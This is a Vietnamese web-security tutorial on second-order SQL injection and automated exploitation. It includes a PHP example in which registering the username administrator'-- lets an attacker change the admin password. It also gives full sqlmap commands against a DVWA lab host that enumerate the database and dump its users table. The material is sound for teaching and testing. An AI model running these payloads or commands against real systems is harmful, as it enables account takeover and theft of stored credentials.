SQL injection vulnerabilities (Phần 9)

II. Phân tích và khai thác các lỗ hổng SQL Injection (tiếp)

8. Second-order SQL injection

Các trường hợp ở trên chúng ta đang xét có thể được chia thành dạng First-order SQL injection - nghĩa là hệ thống sẽ trực tiếp thực thi script của chúng ta dẫn tới hậu quả dò rỉ dữ liệu ngay lập tức sau đó (trả về dữ liệu nhạy cảm trong giao diện, kẻ tấn công có thể phán đoán chính xác các ký tự của dữ liệu nhạy cảm, hoặc các dữ liệu nhạy cảm được trả về gián tiếp bằng kỹ thuật tấn công Out-of-band, ...). Ngoài ra, chúng ta sẽ bàn tới một loại lỗ hổng SQL đặc biệt khác có tên là Second-order SQL injection - Câu truy vấn thường được lưu trữ và sẽ thực thi vào một thời điểm trong tương lai, bởi vậy nó còn có tên là stored SQL injection.

Nguồn hình ảnh: portswigger.net

Trong dạng lỗ hổng Second-order SQL injection, tại thời điểm kẻ tấn công inject payload vào câu truy vấn thường không gây ra hiệu quả ngay lập tức, câu truy vấn chưa thực thi ngay mà thường được lưu trữ trong cơ sở dữ liệu, sau đó, khi hệ thống xử lý một yêu cầu khác (có thể do kẻ tấn công thực hiện hoặc người dùng thông thường), thực thi câu truy vấn dẫn tới hậu quả sau đó.

Ví dụ một trang web chứa chức năng đăng ký người dùng có đoạn mã nguồn trong ngôn ngữ php như sau:

$username = $_POST['username'];
$pass = $_POST['password'];
// đã ngăn chặn tấn công SQL injection
$sql = "insert into users (username, password) values(\"$username\", \"$pass\")";

Giả thiết rằng sau khi đăng ký trang web lưu giá trị biến $username trong session và trang web đã làm tốt việc ngăn chặn tấn công lỗ hổng SQL injection trong chức năng đăng ký người dùng. Tuy nhiên, trang web chứa chức năng thay đổi mật khẩu có đoạn mã nguồn như sau:

$username = $_SESSION["username"];
$curr_pass = mysql_real_escape_string($_POST['current_password']);
$pass = mysql_real_escape_string($_POST['password']);
$re_pass = mysql_real_escape_string($_POST['re_password']);
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

Khi thực hiện đổi mật khẩu, giá trị biến $username được lấy từ session và được sử dụng trong câu truy vấn UPDATE mật khẩu vào database.

Giả sử trang web chứa một tài khoản quản trị viên administrator. Chúng ta có thể đăng ký một tài khoản với $username bằng administrator'--, và đổi mật khẩu người dùng này với mật khẩu mới 123456. Khi đó câu truy vấn thực hiện update mật khẩu trở thành:

UPDATE users SET PASSWORD='123456' where username='administrator'--' and password='old-password';

Do dấu comment -- nên câu truy vấn thực hiện đổi mật khẩu tài khoản administrator thành 123456. Lỗ hổng Second-order SQL injection trong trường hợp này cho phép chúng ta đổi mật khẩu người dùng bất kỳ khi biết giá trị username của họ.

III. Tìm kiếm và khai thác các lỗ hổng SQL injection bằng công cụ

Các lỗ hổng SQL injection thường xuất hiện khi input đóng vai trò là một phần dữ liệu thực thi trong câu truy vấn, và input này có thể thay đổi bởi người dùng. Bên cạnh đó, cần chú ý các chức năng cần tương tác với cơ sở dữ liệu, chúng thường tiềm ẩn các mối nguy bị tấn công SQL injection. Một trong những cách thủ công nhằm phát hiện vị trí chứa lỗ hổng này là thử với các ký tự đặc biệt ', ", hoặc các dấu comment trong các hệ cơ sở dữ liệu như --, # kết hợp các biểu thức logic OR 1=1, AND 1=2, ...

Ngoài ra, để tối ưu hóa thời gian và công sức, chúng ta có thể sử dụng các công cụ nhằm tự động hóa việc phát hiện cũng như khai thác dạng lỗ hổng này. Trong công cụ Burp Suite (Bản Professional), chúng ta có thể sử dụng tính năng Scan (Có thể chọn lọc các dạng lỗ hổng tấn công theo từng mục đích) phát hiện lỗ hổng SQL injection:

Để tự động hóa việc khai thác lỗ hổng SQL injection, tôi muốn giới thiệu tới các bạn công cụ Sqlmap. Các bạn có thể cài đặt trong hệ điều hành bất kỳ, quá trình cài đặt tôi sẽ không nhắc lại ở đây các bạn có thể tìm hiểu qua Google.

Demo khai thác lỗ hổng SQL injection bằng công cụ Sqlmap (Trong hệ điều hành Ubuntu):

Trang web cho phép người dùng thay đổi id tại /vulnerabilities/sqli_blind/cookie-input.php

Gói tin request như sau:

Kết quả được hiển thị tại /vulnerabilities/sqli_blind/

Kiểm tra lỗ hổng, command: sqlmap -u "http://192.168.81.128/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://192.168.81.128/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=babd5e8c0225af5ef3a8645962106b9d; security=high" --batch

Tham số -u chỉ URL tấn công, --data là dữ liệu truyền ở phương thức POST, cần --second-url là do kết quả được hiển thị trong URL khác, --cookie chỉ giá trị cookie, cuối cùng --batch để công cụ tự động thực hiện các lựa chọn ưu tiên. Chúng ta có kết quả tham số id là vị trí có thể bị khai thác:

Sử dụng tham số --current-db truy xuất tên cơ sở dữ liệu hiện tại:

sqlmap -u "http://192.168.81.128/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://192.168.81.128/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=babd5e8c0225af5ef3a8645962106b9d; security=high" --current-db --batch

Kết quả thu được tên database: dvwa

Sử dụng thêm tham số --tables truy xuất tên các bảng trong cơ sở dữ liệu: dvwa:

sqlmap -u "http://192.168.81.128/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://192.168.81.128/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=babd5e8c0225af5ef3a8645962106b9d; security=high" -D dvwa --tables --batch

Kết quả thu được tên $2$ bảng là: guestbook và users:

Chọn mục tiêu tấn công là bảng users, tiếp theo chúng ta có thể truy xuất tên các cột trong bảng users bằng tham số --columns hoặc trực tiếp dump tất cả dữ liệu trong bảng users ra:

sqlmap -u "http://192.168.81.128/vulnerabilities/sqli_blind/cookie-input.php" --data="id=2&Submit=Submit" --second-url="http://192.168.81.128/vulnerabilities/sqli_blind/" --cookie="id=1; PHPSESSID=babd5e8c0225af5ef3a8645962106b9d; security=high" -D dvwa -T users --dump --batch

Kết quả:

Sau đây là bảng thống kê một số tham số thường sử dụng trong quá trình tấn công bằng công cụ Sqlmap:

Công cụ Sqlmap đã giúp chúng ta tối ưu hóa cả về mặt thời gian và công sức. Tuy nhiên không nên quá lạm dụng công cụ này bởi nó có thể khiến chúng trở nên phụ thuộc vào tính năng mạnh mẽ của công cụ mà quên đi bản chất và kiến thức mang lại từ việc xây dựng các kịch bản khai thác thủ công. Bên cạnh đó, công cụ Burp Suite còn có các extension hỗ trợ cho việc khai thác dạng lỗ hổng này như: SQLi Query Tampering, SQLiPy Sqlmap Integration, SQLMap DNS Collaborator các bạn có thể tự tìm hiểu thêm.

Tài liệu tham khảo

• https://portswigger.net/web-security/sql-injection/blind
• https://portswigger.net/web-security/sql-injection
• https://portswigger.net/web-security/sql-injection/cheat-sheet
• https://www.php.net/manual/en/function.mysql-escape-string.php
• https://sqlmap.org/